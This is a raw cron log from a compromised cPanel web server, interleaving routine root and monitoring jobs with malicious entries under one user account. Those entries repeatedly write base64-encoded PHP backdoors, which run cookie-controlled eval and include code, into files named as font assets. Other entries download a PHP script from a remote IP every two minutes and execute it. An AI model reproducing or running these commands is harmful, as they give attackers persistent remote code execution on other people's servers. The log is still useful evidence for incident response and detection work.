Sep  7 17:55:01 ip-184-168-122-23 CROND[24857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:55:01 ip-184-168-122-23 CROND[24859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:55:01 ip-184-168-122-23 CROND[24856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:55:01 ip-184-168-122-23 CROND[24860]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:56:01 ip-184-168-122-23 CROND[24959]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:56:01 ip-184-168-122-23 CROND[24960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:56:01 ip-184-168-122-23 CROND[24962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:56:01 ip-184-168-122-23 CROND[24961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:56:01 ip-184-168-122-23 CROND[24963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:57:01 ip-184-168-122-23 CROND[25057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:57:01 ip-184-168-122-23 CROND[25058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:57:01 ip-184-168-122-23 CROND[25059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:57:01 ip-184-168-122-23 CROND[25060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:58:01 ip-184-168-122-23 CROND[25164]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:58:01 ip-184-168-122-23 CROND[25166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:58:01 ip-184-168-122-23 CROND[25168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:58:01 ip-184-168-122-23 CROND[25167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:58:01 ip-184-168-122-23 CROND[25169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:59:01 ip-184-168-122-23 CROND[25402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:59:01 ip-184-168-122-23 CROND[25403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:59:01 ip-184-168-122-23 CROND[25404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:59:01 ip-184-168-122-23 CROND[25405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:00:01 ip-184-168-122-23 CROND[25523]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 18:00:01 ip-184-168-122-23 CROND[25526]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 18:00:01 ip-184-168-122-23 CROND[25527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:00:01 ip-184-168-122-23 CROND[25533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:00:01 ip-184-168-122-23 CROND[25532]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:00:01 ip-184-168-122-23 CROND[25531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:00:01 ip-184-168-122-23 CROND[25528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:00:01 ip-184-168-122-23 CROND[25534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:00:01 ip-184-168-122-23 CROND[25535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:01:01 ip-184-168-122-23 CROND[25639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:01:01 ip-184-168-122-23 CROND[25644]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 18:01:01 ip-184-168-122-23 CROND[25642]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 18:01:01 ip-184-168-122-23 CROND[25645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:01:01 ip-184-168-122-23 CROND[25646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:01:01 ip-184-168-122-23 CROND[25643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25644]: starting 0anacron
Sep  7 18:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25661]: finished 0anacron
Sep  7 18:02:01 ip-184-168-122-23 CROND[25759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:02:01 ip-184-168-122-23 CROND[25762]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:02:01 ip-184-168-122-23 CROND[25760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:02:01 ip-184-168-122-23 CROND[25763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:02:01 ip-184-168-122-23 CROND[25761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:03:01 ip-184-168-122-23 CROND[26044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:03:01 ip-184-168-122-23 CROND[26046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:03:01 ip-184-168-122-23 CROND[26049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:03:01 ip-184-168-122-23 CROND[26048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:04:01 ip-184-168-122-23 CROND[26619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:04:01 ip-184-168-122-23 CROND[26622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:04:01 ip-184-168-122-23 CROND[26621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:04:01 ip-184-168-122-23 CROND[26624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:04:01 ip-184-168-122-23 CROND[26623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:05:01 ip-184-168-122-23 CROND[26938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:05:01 ip-184-168-122-23 CROND[26941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:05:01 ip-184-168-122-23 CROND[26942]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 18:05:01 ip-184-168-122-23 CROND[26940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:05:01 ip-184-168-122-23 CROND[26943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:05:01 ip-184-168-122-23 CROND[26945]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:05:01 ip-184-168-122-23 CROND[26944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:06:01 ip-184-168-122-23 CROND[27119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:06:01 ip-184-168-122-23 CROND[27120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:06:01 ip-184-168-122-23 CROND[27121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:06:01 ip-184-168-122-23 CROND[27123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:06:01 ip-184-168-122-23 CROND[27122]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:07:01 ip-184-168-122-23 CROND[27265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
